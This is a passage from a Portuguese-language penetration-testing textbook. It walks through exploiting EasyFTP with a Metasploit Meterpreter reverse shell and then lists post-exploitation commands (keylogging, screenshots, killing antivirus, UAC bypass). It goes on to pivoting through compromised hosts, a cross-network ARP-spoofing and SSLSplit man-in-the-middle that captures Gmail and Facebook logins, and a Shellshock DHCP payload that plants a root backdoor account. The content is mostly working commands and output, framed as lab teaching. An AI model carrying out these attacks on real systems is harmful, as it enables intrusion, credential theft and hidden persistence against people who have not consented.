na máquina Windows, o exploit causará a famosa “Tela</p><p>azul da morte”.</p><p>9.3 Exploitando Windows vulnerável</p><p>A vulnerabilidade encontrada trata-se de uma</p><p>vulnerabilidade no EasyFTP versão 1.7.0.11 que permite</p><p>acesso ao shell da máquina. O EasyFTP v1.7.0.11 pode</p><p>ser encontrado em http://www.exploit-db.com/wp-</p><p>content/themes/exploit/applications/16e5d2d9e9e55dcd5</p><p>b7ec4c2811ca193-easyftp-server-1.7.0.11-en.zip</p><p>• Vamos procurar a falha:</p><p>msf > search easyftp</p><p>• Vamos usar o exploit:</p><p>msf > use exploit/windows/ftp/easyftp_cwd_fixret</p><p>• Vamos ver as suas opções básicas de configuração:</p><p>msf exploit(easyftp_cwd_fixret) > show options</p><p>• Vamos configurar o host remoto:</p><p>msf exploit(easyftp_cwd_fixret) > set RHOST 192.168.1.101</p><p>Esse exploit requer algumas configurações adicionais.</p><p>Primeiro devemos escolher o payload, ou seja, o código</p><p>responsável por fazer a conexão reversa entre a máquina</p><p>do atacante e a máquina da vítima.</p><p>Há diversos payloads disponíveis, mas será utilizado um</p><p>payload em particular denominado Meterpreter, que</p><p>permite funcionalidades a mais no sistema, como</p><p>captura de teclas digitadas, download e upload de</p><p>arquivos etc. Para mais informações sobre o Meterpreter,</p><p>consulte a seção9.4, “Payload Meterpreter”.</p><p>msf exploit(easyftp_cwd_fixret) > set PAYLOAD</p><p>windows/meterpreter/reverse_tcp</p><p>Quando as configurações básicas forem exibidas</p><p>novamente, haverá alguns parâmetros adicionais a</p><p>serem configurados:</p><p>msf exploit(easyftp_cwd_fixret) > show options</p><p>Module options (exploit/windows/ftp/easyftp_cwd_fixret):</p><p>NameCurrent SettingRequiredDescription</p><p>--------------------------------------</p><p>FTPPASSmozilla@example.comno The password for the specified</p><p>username</p><p>FTPUSERanonymousno The username to authenticate as</p><p>RHOST192.168.1.101yes The target address</p><p>RPORT21yes The target port</p><p>Payload options (windows/meterpreter/reverse_tcp):</p><p>NameCurrent SettingRequiredDescription</p><p>--------------------------------------</p><p>EXITFUNCprocessyes Exit technique (accepted: seh, thread, process,</p><p>none)</p><p>LHOSTyes The listen address</p><p>LPORT4444yes The listen port</p><p>Exploit target:</p><p>IdName</p><p>------</p><p>0Windows Universal - v1.7.0.2</p><p>msf exploit(easyftp_cwd_fixret) ></p><p>Os parâmetros que devem ser configurados são</p><p>marcados como Required yes: Os campos EXITFUNC</p><p>(método para finalizar a nossa conexão – como padrão o</p><p>Metasploit finaliza a conexão por processo), LPORT (porta</p><p>local que o Metasploit ficará listando para receber</p><p>conexões – pré-configurado como sendo a porta 4444) e</p><p>o campo LHOST (Endereço IP local do Kali Linux que</p><p>receberá a conexão reversa com o shell de comandos do</p><p>Windows no momento em que a vulnerabilidade for</p><p>explorada).</p><p>• Vamos configurar o payload:</p><p>msf exploit(easyftp_cwd_fixret) > set LHOST 192.168.1.100</p><p>msf exploit(easyftp_cwd_fixret) > set LPORT 12345</p><p>• Vamos ver quais são as versões vulneráveis do</p><p>EasyFTP:</p><p>msf exploit(easyftp_cwd_fixret) > show targets</p><p>• Vamos configurar o exploit com a versão vulnerável:</p><p>msf exploit(easyftp_cwd_fixret) > set TARGET 9</p><p>• Vamos utilizar o exploit:</p><p>msf exploit(easyftp_cwd_fixret) > exploit</p><p>A sessão Meterpreter está ativa e temos o controle sobre</p><p>a máquina Windows:</p><p>meterpreter ></p><p>9.4 Payload Meterpreter</p><p>O payload Meterpreter possibilita algumas funções ao</p><p>teste de penetração, como captura da tela, teclas</p><p>digitadas, upload, download etc.</p><p>Com o Meterpreterativo, vamos utilizar algumas de suas</p><p>funções básicas:</p><p>9.4.1 Core commands</p><p>• Para obter ajuda das funções do Meterpreter:</p><p>meterpreter > help</p><p>• Para finalizar a sessão e sair do Meterpreter:</p><p>meterpreter > exit</p><p>• Às vezes será necessário manter a sessão ativa do</p><p>Meterpreter (para outra finalidade, por exemplo, para</p><p>usar um módulo auxiliar), porém em background:</p><p>meterpreter > background</p><p>• Ver quais sessões do Meterpreter estão ativas:</p><p>msf exploit(easyftp_cwd_fixret) > sessions</p><p>Active sessions</p><p>===============</p><p>IdTypeInformation Connection</p><p>----------------- ----------</p><p>1meterpreter x86/win32 PC\win7 @ PC 192.168.1.100:12345 -></p><p>192.168.1.101:1060 (192.168.1.101)</p><p>msf exploit(easyftp_cwd_fixret) ></p><p>• Para interagir novamente com o Meterpreter:</p><p>msf exploit(easyftp_cwd_fixret) > sessions –i numero_ID</p><p>msf exploit(easyftp_cwd_fixret) > sessions -i 1</p><p>Uma funcionalidade do Meterpreter é conseguir migrar</p><p>para outro processo. Por exemplo, o Meterpreter está</p><p>rodando como processo EasyFTP, caso o usuário, por</p><p>algum motivo, desabilite o EasyFTP, a conexão do</p><p>Meterpreter será perdida. Se a sessão for migrada para</p><p>outro processo, mesmo que o usuário finalize o EasyFTP,</p><p>a sessão mantém-se ativa.</p><p>• Migrar para outro processo:</p><p>meterpreter > run migrate -f</p><p>9.4.2 File system commands</p><p>Comandos básicos de criação de pasta, download, upload</p><p>de arquivos etc.</p><p>• Exibir o diretório atual:</p><p>meterpreter > pwd</p><p>• Mudar de diretório:</p><p>meterpreter > cd pasta</p><p>• Criar pasta:</p><p>meterpreter > mkdir pasta</p><p>• Editar um arquivo de texto:</p><p>meterpreter > edit mensagem.txt</p><p>• Visualização sobre o conteúdo de um arquivo de</p><p>texto:</p><p>meterpreter > cat mensagem.txt</p><p>• Download de arquivos:</p><p>meterpreter > download 'C:\Users\win7\Desktop\arquivo.exe'</p><p>/root/Desktop</p><p>• Upload de arquivos:</p><p>meterpreter > upload /root/upload.txt 'C:\Users\win7\Desktop'</p><p>9.4.3 Networking commands</p><p>Comandos relativos à rede, como tabela ARP, IP e</p><p>conexões ativas.</p><p>• Visualização da tabela ARP:</p><p>meterpreter > arp</p><p>• Visualização do IP (LAN):</p><p>meterpreter > ifconfig</p><p>• Visualização de conexões ativas:</p><p>meterpreter > netstat</p><p>9.4.4 System commands</p><p>Comandos relativos ao sistema, visualização de</p><p>processos e execução de arquivos.</p><p>• Informações do computador:</p><p>meterpreter > sysinfo</p><p>• Desligar a máquina:</p><p>meterpreter > shutdown</p><p>• Reiniciar a máquina:</p><p>meterpreter > reboot</p><p>• Obter versão do sistema:</p><p>meterpreter > sysinfo</p><p>• Obter o shell:</p><p>meterpreter > shell</p><p>• Identificação do usuário atual:</p><p>meterpreter > getuid</p><p>• Executar um arquivo:</p><p>meterpreter > execute –f calc.exe</p><p>• Executar um arquivo de modo oculto (não são todos</p><p>os arquivos que aceitam a sua execução em modo</p><p>invisível):</p><p>meterpreter > execute –f notepad.exe -H</p><p>• Ver os processos ativos (editado por motivos visuais):</p><p>meterpreter > ps</p><p>Process List</p><p>============</p><p>PIDPPIDNameArchSessionUserPath</p><p>------------------------------</p><p>00[System Process]4294967295</p><p>40System4294967295</p><p>100336calc.exex86 1 PC\win7 C:\Windows\system32\calc.exe</p><p>2684smss.exe4294967295</p><p>meterpreter ></p><p>• Finalizar processo (kill PID). Para finalizar a</p><p>calculadora, kill 100:</p><p>meterpreter > kill 100</p><p>9.4.5 User Interface commands</p><p>• Keylogger online:</p><p>meterpreter > keyscan_start Inicia o keylogger</p><p>meterpreter > keyscan_dump Exibe as teclas digitadas</p><p>meterpreter > keyscan_stop Finaliza o keylogger</p><p>• Captura de tela (screenlogger):</p><p>meterpreter > screenshot</p><p>• Checar se a máquina é uma máquina virtual:</p><p>meterpreter > run checkvm</p><p>• Finalizar processos de antivírus:</p><p>meterpreter > run killav</p><p>• Inicializar VNC:</p><p>meterpreter > run vnc</p><p>Um passo muito importante quando se realiza um</p><p>pentest é o escalonamento de privilégios. Normalmente,</p><p>quando um acesso é obtido, é realizado de forma restrita,</p><p>com o privilégio do usuário que inicializou o programa.</p><p>Por exemplo, se o usuário restrito win7 inicia o programa</p><p>Easy-ftp.exe, e o atacante explora uma falha no Easy-</p><p>ftp.exe, este consegue</p><p>acesso ao sistema com os</p><p>privilégios do usuário restrito win7. Ou seja, o atacante</p><p>não tem permissões de alto nível, como capturar</p><p>arquivos de senha do sistema ou apagar o sistema de</p><p>log1. É necessário, portanto, escalonar os privilégios para</p><p>um acesso completo à máquina.</p><p>• Ganhar acesso autoridade (usuário nt</p><p>authority\System):</p><p>meterpreter > background</p><p>msf > use exploit/windows/local/bypassuac</p><p>msf exploit(bypassuac) > sessions</p><p>msf exploit(bypassuac) > set SESSION sesssao_meterpreter</p><p>msf exploit(bypassuac) > exploit</p><p>meterpreter > getsystem</p><p>meterpreter > getuid</p><p>Outra forma para escalar privilégios que pode ser</p><p>utilizada é migrando o processo do Meterpreter para</p><p>algum processo de alto nível. Por exemplo, se por algum</p><p>motivo o leitor executar o exploit</p><p>exploit/windows/local/bypassuac, e o comando getsystem</p><p>falhar, o leitor poderá listar os processos ativos na</p><p>máquina (por meio de ps) e migrar para algum processo</p><p>que seja controlado por nt authority\system (pelo</p><p>migrate). O processo lsass.exe é de alto nível.</p><p>Outro exploit que pode ser utilizado é o</p><p>bypassuac_injection, que realiza a escalação de</p><p>privilégios por meio da injeção de DLL (tenta se evadir de</p><p>antivírus).</p><p>Desafio o leitor a ler sobre esse módulo e executá-lo.</p><p>9.5 Pivoting com Metasploit</p><p>Uma das melhores habilidades do Meterpreter é a</p><p>realização do pivoting.</p><p>A técnica de pivoting consiste em, por meio de uma</p><p>máquina comprometida pelo Meterpreter, conseguir</p><p>acesso a outras máquinas da rede. Isso mesmo, por meio</p><p>do pivoting, é possível conseguir acesso a uma máquina</p><p>protegida por firewall.</p><p>Por exemplo: Supondo uma máquina A rodando um</p><p>serviço SMTP que esteja em uma DMZ (zona</p><p>desmilitarizada – onde não há regras de firewall e</p><p>restrições de acesso. Normalmente uma DMZ é</p><p>configurada para acesso público, como um servidor web</p><p>ou email). Dessa forma, qualquer pessoa na internet tem</p><p>acesso ao serviço de email (SMTP).</p><p>Uma vez que a versão desse serviço é falha e a máquina</p><p>foi comprometida com o Meterpreter, é possível usar a</p><p>máquina A para realizar ataques contra a máquina B que</p><p>está protegida por firewall dentro da rede. É a máquina A</p><p>que vai realizar ataques contra a máquina B. A máquina</p><p>A é pivô de outros ataques. É a máquina laranja usada</p><p>para outros ataques.</p><p>O processo de pivoting é mostrado na figura 9.1.</p><p>Para realizar o ataque de pivô, primeiro consiga acesso</p><p>ao sistema via Meterpreter.</p><p>Execute o módulo get_local_subnets para acessar a</p><p>subnet da máquina com o Meterpreter:</p><p>meterpreter > run get_local_subnets</p><p>Local subnet: 192.168.1.0/255.255.255.0</p><p>Coloque o Meterpreter em background para execução de</p><p>outros comandos:</p><p>meterpreter > background</p><p>Figura 9.1 – Ataque de pivô.</p><p>Adicione uma rota entre a sua máquina e a subnet da</p><p>máquina com o Meterpreter:</p><p>route add 192.168.1.0 255.255.255.0 num</p><p>Sendo num o número da sessão Meterpreter.</p><p>A rota entre a sua rede local e a rede local da máquina</p><p>comprometida foi adicionada com sucesso. Imprima a</p><p>rota com o comando:</p><p>route print</p><p>Active Routing Table</p><p>====================</p><p>SubnetNetmaskGateway</p><p>--------------------</p><p>192.168.1.0255.255.255.0Session 1</p><p>A última etapa consiste em acessar as outras máquinas</p><p>por meio da máquina comprometida, para isso é</p><p>necessário criar um proxy socks que vai tunelar a</p><p>conexão.</p><p>msf exploit(handler) > use auxilary/server/socks4a</p><p>msf auxiliary(socks4a) > exploit</p><p>Foi criado um socket local listando na porta 1080 (socket</p><p>de tunelamento entre a rede local e a rede remota).</p><p>A última etapa consiste em acessar a máquina B por</p><p>meio da máquina A (máquina comprometida com o</p><p>Meterpreter), conforme mostra a figura 9.1. Para isso é</p><p>necessário um programa de proxy específico: o</p><p>proxychains.</p><p>O proxychains é um programa que realiza tunelamento</p><p>entre diversos servidores proxy. Ou seja, o proxychains</p><p>acessa o proxy ABC, faz um tunelamento para o proxy</p><p>DEF, faz um tunelamento para o proxy GHI e assim</p><p>sucessivamente, sem limites.</p><p>O problema é que quanto mais proxies forem utilizados e</p><p>maior for a sua cadeia, mais lenta ficará a conexão até</p><p>tornar-se inviável.</p><p>Configure o arquivo /etc/proxychains.conf para acessar o</p><p>proxy local listando na porta 1080:</p><p>dynamic_chain</p><p>proxy_dns</p><p>tcp_read_time_out 15000</p><p>tcp_connect_time_out 8000</p><p>[ProxyList]</p><p>socks4 127.0.0.1 1080</p><p>Opte sempre pela escolha de proxies com cadeias</p><p>dinâmicas (dynamic_chain), pois, nesse modo, se um</p><p>proxy da lista estiver indisponível, será acessado o</p><p>próximo e assim sucessivamente. No modo de cadeia</p><p>estrita (strict_chain), cada proxy é acessado</p><p>sequencialmente, assumindo que todos os proxies estão</p><p>OK e sem nenhum tipo de problema. Inicialize o</p><p>proxychains por meio da sintaxe proxychains programa. Por</p><p>exemplo:</p><p>root@kali# proxychains iceweasel</p><p>As conexões sairão da máquina A e não mais da máquina</p><p>do atacante.</p><p>Atentem para o fato de que em uma conexão pivô com o</p><p>Meterpreter, devido às limitações de servidores proxies</p><p>do tipo socks, a conexão deve estabelecer o 3-way</p><p>handshake e o ICMP Echo Request (ping) não é</p><p>suportado. Dessa forma, quando, por exemplo,</p><p>programas como o Nmap são utilizados, é necessário</p><p>especificar a sua sintaxe para que o Nmap faça uma</p><p>varredura com o 3-way handshake completo (-sT) e não</p><p>utilize o protocolo ICMP (-Pn).</p><p>root@kali# proxychains nmap –sT –PN 192.168.1.0/24</p><p>9.6 VPN Pivoting (Pivoting via Layer</p><p>2)</p><p>Realizar pivoting com o Meterpreter, apesar de ser muito</p><p>bom, restringe-nos a determinados protocolos. Por</p><p>exemplo: por meio do pivoting com o Metasploit eu</p><p>preciso completar o 3-way handshake, pois esse tipo de</p><p>pivoteamento não suporta ICMP, requisições ARP (O ARP</p><p>está localizado na camada 2 do modelo OSI) etc. Isso é</p><p>normal devido às próprias limitações do socks4/socks5.</p><p>Com o pivô feito pelo Meterpreter não é possível realizar</p><p>ataques de baixo nível (por exemplo: ataques voltados à</p><p>camada 2, como o Man-in-the-Middle).</p><p>Em vez de realizar o pivoteamento com o Meterpreter, é</p><p>possível realizar o pivoteamento na camada 2. Esse</p><p>processo é muito semelhante a uma VPN. A diferença</p><p>entre a VPN e o nosso pivoteamento é a questão da</p><p>criptografia. Os nossos dados serão trafegados em claro,</p><p>mas fundamentalmente nós vamos obter as mesmas</p><p>vantagens (podemos realizar ataques Man-in-the-Middle,</p><p>não precisamos estabelecer o 3-way handshake,</p><p>fecharemos o túnel cliente/servidor em um processo bem</p><p>parecido com uma VPN etc.), portanto vamos tratar o</p><p>software e o processo de pivoteamento como pivoting via</p><p>VPN.</p><p>A excelente ferramenta Layer-2-Pivoting-client foi</p><p>desenvolvida por Raphael Mudge, criador dos</p><p>frameworks Cobalt Strike e Armitage. Uma alternativa ao</p><p>Metasploit que é utilizada em testes de intrusão. Antes</p><p>de utilizarmos a ferramenta do Raphael, vamos entender</p><p>o que é e como funciona uma VPN.</p><p>Uma VPN (Virtual Private Network) permite que o tráfego</p><p>de dados seja transmitido por meio de uma rede</p><p>insegura (como a internet), interligando duas ou mais</p><p>redes.</p><p>Por exemplo, supondo que uma organização possua sua</p><p>rede A localizada no estado X. Essa mesma organização</p><p>possui uma filial B localizada no estado Y. Ou seja, a rede</p><p>A e rede B estão muito longe fisicamente. Supondo que a</p><p>organização deseje manter um canal de comunicação</p><p>entre redes A e B, ou seja, os usuários da rede A querem</p><p>acessar os recursos da rede B (por exemplo: os usuários</p><p>da rede A desejam acessar algum servidor ou processo</p><p>que roda em uma estação na rede B). Supondo também</p><p>que a organização não queira em hipótese alguma deixar</p><p>os ativos da rede B em uma DMZ (isso seria perigoso</p><p>demais). Teoricamente isso seria impossível, e é nesse</p><p>momento que entra a VPN. Por meio da VPN os usuários</p><p>da rede A criam um túnel por meio da internet e</p><p>conseguem acesso à rede B. Dessa forma, a rede A terá</p><p>uma nova interface de rede configurada com o IP de LAN</p><p>da rede B, como se a rede A estivesse na própria LAN da</p><p>rede B. A figura 9.2 mostra esse processo.</p><p>Layer-2-Pivoting-client segue</p><p>um princípio semelhante a</p><p>uma VPN, estabelecendo um túnel entre as duas</p><p>extremidades: o software servidor (atacante) cria uma</p><p>interface virtual no Linux esperando por conexões do</p><p>cliente Windows (vítima). Quando uma conexão do</p><p>cliente for efetuada com sucesso no servidor, a interface</p><p>virtual do servidor obterá o endereço IP da rede do</p><p>cliente, estabelecendo uma conexão VPN.</p><p>Figura 9.2 – Ilustração de uma VPN.</p><p>Primeiro, devemos configurar o software servidor que</p><p>listará por conexões no Kali Linux.</p><p>Realize o download do arquivo simpletun.c em</p><p>https://backreference.org/wp-</p><p>content/uploads/2010/03/simpletun.tar.bz2.</p><p>Modifique a linha 42 e altere o valor do BUFSIZE de 2000</p><p>para 8192 (um valor mais alto para o buffer, pois valores</p><p>inferiores podem travar o software).</p><p>Compile o arquivo com o gcc:</p><p>root@kali# gcc simpletun.c -o simpletun</p><p>Execute o arquivo para visualizar as opções:</p><p>root@kali# ./simpletun</p><p>Para listarmos por conexões, os seguintes parâmetros</p><p>serão utilizados:</p><p>root@kali# ./simpletun -i tap0 -s -p 8081 -a</p><p>Dessa forma, o simpletun criará uma interface virtual</p><p>tap0 (pode ser qualquer nome) que vai receber o IP da</p><p>rede vítima (-i tap0) e ficará listando por conexões em</p><p>modo servidor (-s), e na porta 8081 (-p 8081). A opção -a</p><p>indica que o simpletun criará uma interface do tipo TAP.</p><p>Lembre-se de habilitar um redirecionamento de portas no</p><p>roteador para que o tráfego destinado à porta 8081 seja</p><p>redirecionado ao Kali Linux.</p><p>O software Layer-2-Pivoting-client pode ser obtido em</p><p>https://github.com/rsmudge/Layer2-Pivoting-Client.</p><p>O software necessário é o client.exe. Esse software é</p><p>executado em ambientes Windows. Antes de executá-lo,</p><p>instale a suíte WinPCap, que pode ser obtida em</p><p>https://www.winpcap.org/install/default.htm.</p><p>Como mostrado na figura 9.2, para esse laboratório serão</p><p>necessárias duas redes distintas com IPs diferentes.</p><p>Assume-se que o Kali Linux está na rede A com o IP</p><p>192.168.1.0/24, e o Windows está na rede B com o IP</p><p>10.0.0.0/24.</p><p>Na máquina Windows, conecte-se à rede com o Kali</p><p>Linux:</p><p>C:\ client.exe IP_Publico_roteador_Kali Porta_Kali IP_Local_Windows</p><p>C:\ client.exe IP_Publico_roteador_Kali 8081 10.0.0.2</p><p>Nota: O IP público do roteador da rede em que está o Kali Linux pode</p><p>ser obtido através do site http://www.meuip.com.br.</p><p>A interface tap0 no Kali Linux deve receber tráfego;</p><p>verifique se o campo RX bytes aumentou e saiu do valor</p><p>0:</p><p>root@kali# ifconfig tap0</p><p>Se o valor aumentou, então o túnel foi estabelecido com</p><p>sucesso. Por último, faça com que essa interface receba</p><p>IP via DHCP da rede B:</p><p>root@kali# dhclient tap0</p><p>Realizando um ifconfig novamente, a interface tap0 terá</p><p>um IP da faixa 10.0.0.0/24.</p><p>root@kali# ifconfig tap0</p><p>Se o leitor estiver familiarizado com ataques de Man-in-</p><p>the-Middle e com os utilitários arpspoof e SSLSplit,</p><p>recomendo que continue a leitura; caso contrário, uma</p><p>melhor explicação sobre ataques Man-in-the-Middle e</p><p>como utilizar as ferramentas arpspoof e SSLSplit</p><p>encontram-se na seção11.4, “Ataques Man-in-the-Middle</p><p>(MitM).</p><p>Antes de realizar o ataque de Man-in-the-Middle, nós</p><p>devemos configurar o Kali Linux (máquina atacante) para</p><p>que faça o correto roteamento de pacotes e fluxo de</p><p>dados.</p><p>Primeiro, ative o roteamento de pacotes (IP Forward):</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>Quando o túnel é ativado, um fato interessante a ser</p><p>notado é que os dados da rede B passam pelo túnel e</p><p>chegam à rede A (a rede B também se comunica com a</p><p>rede A), então nós devemos permitir o mascaramento de</p><p>dados para que os dados de B cheguem à rede A e</p><p>trafeguem pela internet:</p><p>root@kali# iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE</p><p>Considere que a interface eth0 é a interface cabeada que</p><p>estou utilizando para a conexão.</p><p>Realizar um ataque de Man-in-the-Middle é simples: para</p><p>isso, vamos utilizar o programa arpspoof, informando</p><p>qual será o IP que desejamos realizar o Man-in-the-Middle</p><p>(vamos realizar sobre o IP 10.0.0.3 – uma vítima qualquer</p><p>na rede) e qual será o roteador (IP 10.0.0.1).</p><p>root@kali# arpspoof –i tap0 –t 10.0.0.3 10.0.0.1</p><p>Especificamente, utilizando o software do Raphael, o</p><p>Main-in-the-Middle não envenena toda a tabela ARP da</p><p>nossa vítima. Mas não tem problema, pois o seu gateway</p><p>é o endereço MAC do atacante.</p><p>C:\ arp -a</p><p>Interface: 192.168.1.101 --- 0xb</p><p>Endereço InternetEndereço físicoTipo</p><p>192.168.1.19a-e0-3d-8f-23-a1dinâmico</p><p>192.168.1.5000-13-d4-ec-d4-eadinâmico</p><p>192.168.1.10000-23-15-73-86-6cdinâmico</p><p>192.168.1.1039a-e0-3d-8f-23-a1dinâmico</p><p>192.168.1.10424-f5-aa-55-7c-66dinâmico</p><p>192.168.1.255ff-ff-ff-ff-ff-ffestático</p><p>Realize a captura com o seu sniffer e, com a máquina</p><p>10.0.0.3, acesse um site HTTP. O ataque de Man-in-the-</p><p>Middle entre duas redes distintas foi realizado com</p><p>sucesso.</p><p>Nota: Em testes pessoais, realizar o ataque por meio desse utilitário nos</p><p>restringe quanto aos ataques com o protocolo HTTPS, ou seja, não</p><p>conseguimos utilizar o SSLStrip para decriptografar o tráfego. Para</p><p>resolver esse problema, vamos utilizar o SSLSplit.</p><p>O SSLSplit atua de forma similar ao SSLStrip, dando ao</p><p>cliente um certificado falso, fingindo ser aquele servidor</p><p>HTTPS.</p><p>Vamos criar um diretório em /tmp para que o SSLSplit</p><p>armazene o nosso tráfego:</p><p>root@kali# mkdir -p /tmp/sslsplit/logdir</p><p>root@kali# touch /tmp/sslplit/connections.log</p><p>root@kali# cd /tmp/sslsplit</p><p>Nós devemos gerar um certificado digital genérico e</p><p>também a sua chave:</p><p>root@kali# openssl genrsa -out ca.key 4096</p><p>root@kali# openssl req -new -x509 -days 1826 -key ca.key -out ca.crt</p><p>Habilite o redirecionamento da porta 443 para o SSLSplit:</p><p>root@kali# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT</p><p>--to-ports 8443</p><p>Se o leitor quiser que o SSLSplit também capture o</p><p>tráfego de outras portas (como o HTTP), o procedimento</p><p>é o mesmo. Particularmente, eu não recomendo, pois,</p><p>como será visto adiante, o SSLSplit gera muito tráfego.</p><p>Inicie o SSLSplit:</p><p>root@kali# sslsplit –l connections.log –j /tmp/sslsplit/ -S logdir/ –k ca.key –</p><p>c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080</p><p>Acesse um site HTTPS com a vítima 10.0.0.3. De forma</p><p>similar ao ataque do SSLStrip, será solicitado ao cliente a</p><p>instalação do certificado falso. Instalando o certificado e</p><p>digitando o usuário e senha do site, o tráfego fica</p><p>armazenado em /tmp/sslsplit/logdir.</p><p>Reúna os arquivos com o comando cat:</p><p>root@kali# cd /tmp/sslsplit/logdir</p><p>root@kali# cat * > arquivo_geral</p><p>Abra o log com o vi ou outro editor de texto de sua</p><p>preferência:</p><p>root@kali# vi arquivo_geral</p><p>O usuário e senhas estarão dentro desse arquivo. Por</p><p>exemplo, vamos pesquisar pelo nome de usuário e senha</p><p>que foram digitados para o Gmail (editado por motivos</p><p>visuais).</p><p>GALX=OkJ6PD6471M&continue=https%3A%2F%2Fmail.google.com%2F</p><p>mail%2F&service=mail&rm=false</p><p><mpl=default&scc=1&ss=1&_8=%E2%98%83&bgresponse=%21FxRC17</p><p>GOtJKGvJtEhHqMi5b3ME0CAAAAoVIAAAAUKg</p><p>D6bhKnpnj9XQ9S3q5sUIwkBxEAzkUcipmI5c1gsgZmbH5g07Ykju44oR_bhEe</p><p>TFXuqesuXgQaAJ5GWZ-_Ris7634sJ_</p><p>zZxJgzfsZBftarXIb00ZTr23mFJyGClmnanMApwRoQOkVRx_XgWNnyRbLwiCh</p><p>9ZsAK-wtllHfm17bnQsL_JWoT7iUfXw43</p><p>-p0fe9Kw5h6ZboLm62e-0Sz3A6afInlZnl-</p><p>EDxRZByGS7H2nu1XTzHAOqicYYVzXXeb9mjBZ8wZIaIxxUYv3OM1zVc</p><p>KFfzjQ2STypK-u3etK1Hn4H-</p><p>Cu2KF6zjoKqF43n27Z8bfsKHhILZuEcMkyBfg&pstMsg=1</p><p>&dnConn=&checkConnection=&checkedDomains=youtube&Email=vpn_l</p><p>ayer2@gmail.com</p><p>&Passwd=senha_gmail&signIn=Fazer+login&PersistentCookie=yes&rm</p><p>Shown=1HTTP/1.1 200 OK^M</p><p>Vamos pesquisar pelo nome de usuário e senha que</p><p>foram digitados para o Facebook (editado por motivos</p><p>visuais).</p><p>lsd=AVri7hsY&email=vpn_layer2@facebook.com&pass=email_faceb</p><p>ook&default_persistent=0&timezone=&lgnrnd=071209_Uhh4&lgnjs=n&lo</p><p>cale=pt_BRHTTP/1.1 200 OK</p><p>Mais informações sobre o projeto Layer2-Pivoting-Cliente</p><p>podem ser obtidas em:</p><p>• https://github.com/rsmudge/Layer2-Pivoting-Client.</p><p>• http://blog.cobaltstrike.com/2014/10/14/how-vpn-</p><p>pivoting-works-with-source-code/.</p><p>Nota: em</p><p>testes realizados, observei que não são todas as placas de</p><p>rede que aceitam o software simpletun.c, portanto, se o seu Kali</p><p>Linux receber a conexão, mas não conseguir o IP da rede alvo por meio</p><p>do comando dhclient, realize o mesmo teste com outra interface de</p><p>rede e/ou até mesmo com outro computador pessoal (Pessoalmente, não</p><p>descobri o motivo, mas utilizando-se de outro notebook o teste foi</p><p>realizado com sucesso).</p><p>9.7 Vulnerabilidade shellshock</p><p>A vulnerabilidade do shellshock é uma vulnerabilidade</p><p>envolvendo o bash de comandos do Linux. Uma</p><p>vulnerabilidade extremamente simples que envolve</p><p>variáveis de ambiente. No momento em que é definida</p><p>uma variável de ambiente, também é possível a</p><p>execução de comandos do shell. Essa vulnerabilidade</p><p>permite a execução de códigos remotos.</p><p>() { :;};</p><p>Digite no terminal do Debian:</p><p>env x='() { :;}; echo Sistema Vulnerável' bash -c 'echo Mensagem</p><p>qualquer'</p><p>O cenário mais típico de exploração dessa</p><p>vulnerabilidade é por meio do CGI do Apache, porém</p><p>vamos explorar essa falha por meio do DHCP.</p><p>No momento em que um Linux é conectado à rede, pode</p><p>ter a sua segurança comprometida.</p><p>Como um cenário de teste, inicie o servidor SSH no</p><p>Debian:</p><p>root@debian# service ssh start</p><p>Habilite o roteamento de pacotes (IP Forward):</p><p>root@kali# echo 1 > /proc/sys/net/ipv4/ip_forward</p><p>Habilite a conectividade com a internet por meio da</p><p>interface cabeada eth0:</p><p>root@kali# iptables -F</p><p>root@kali# iptables –F –t nat</p><p>root@kali# iptables –t nat –A POSTROUTING –o eth0 –j MASQUERADE</p><p>Instale o dnsmasq:</p><p>root@kali# apt-get install dnsmasq</p><p>Inclua no final do arquivo /etc/dnsmasq.conf:</p><p>interface="eth0"</p><p>dhcp-range=192.168.1.102,192.168.1.103,12h</p><p>dhcp-option-force=114,() { :; }; echo "ghost:x:0:0:root:/root:/bin/bash" >></p><p>/etc/passwd; echo</p><p>"ghost:$6$feBiS9hJ$JAbpSeNhwAqSNhabxexMsxNhbltOf1hMQyPIZ34PD8C</p><p>mf4/07YkXSxeBvU3OxUH13JSB4Vcj/D1YB/OmIUjqG/:16330:0:99999:7:::"</p><p>>> /etc/shadow</p><p>Será adicionado o usuário “ghost” com senha “ghost” no</p><p>sistema.</p><p>Nota: o hash gerado e inserido no arquivo /etc/dnsmasq.conf é o hash</p><p>quando um usuário é adicionado ao sistema. Faça um teste:</p><p>Crie o usuário ghost no sistema</p><p>root@kali# adduser ghost</p><p>Digite “ghost” como senha desse usuário</p><p>Enter new UNIX password: ghost</p><p>Retype new UNIX password: ghost</p><p>Confira com o cat o arquivo /etc/shadow do seu sistema</p><p>root@kali# cat /etc/shadow</p><p>O hash escrito no livro é o mesmo que o hash gerado com o comando</p><p>passwd. Isso porque o algoritmo matemático para criar esse hash é o</p><p>mesmo.</p><p>Inicie o servidor dnsmasq:</p><p>root@kali# service dnsmasq start</p><p>Desabilite a interface eth0 do Debian:</p><p>root@debian# ifdown eth0</p><p>Habilite novamente essa interface:</p><p>root@debian# ifup eth0</p><p>Nesse momento é criado o usuário ghost no arquivo</p><p>/etc/passwd e /etc/shadow:</p><p>root@debian# cat /etc/passwd</p><p>root@debian# cat /etc/shadow</p><p>Conecte-se via SSH ao servidor Debian para acesso root</p><p>à máquina:</p><p>Usuário: ghost</p><p>Senha: ghost</p><p>root@kali# ssh 192.168.1.102 –l ghost</p><p>9.8 Explorando servidores NFS mal</p><p>configurados</p><p>Como visto no exemplo do shellshock, servidores Linux</p><p>também sofrem de vulnerabilidades como estouro de</p><p>pilha, condição de corrida, problemas com symlinks (links</p><p>simbólicos) etc. Há inúmeros artigos sobre</p><p>vulnerabilidades que são expostas nos principais sites</p><p>como o packetstormsecurity, exploit-db, securityfocus</p><p>etc. Porém, particularmente, acredito que os piores erros</p><p>em sistemas Linux estejam relacionados à forma como o</p><p>dispositivo é configurado. Uma má configuração de</p><p>determinado dispositivo e já é mais do que suficiente</p><p>para um atacante conseguir acesso root à máquina. Um</p><p>exemplo que se encaixa nesse cenário são os servidores</p><p>NFS. O NFS (Network File System) é um serviço que</p><p>permite aos usuários montarem o sistema de arquivos do</p><p>servidor rodando NFS na sua máquina local, podendo</p><p>assim (pela internet) acessar os arquivos do servidor.</p><p>Porém a maior vulnerabilidade de servidores NFS reside</p><p>no fato de como são as permissões 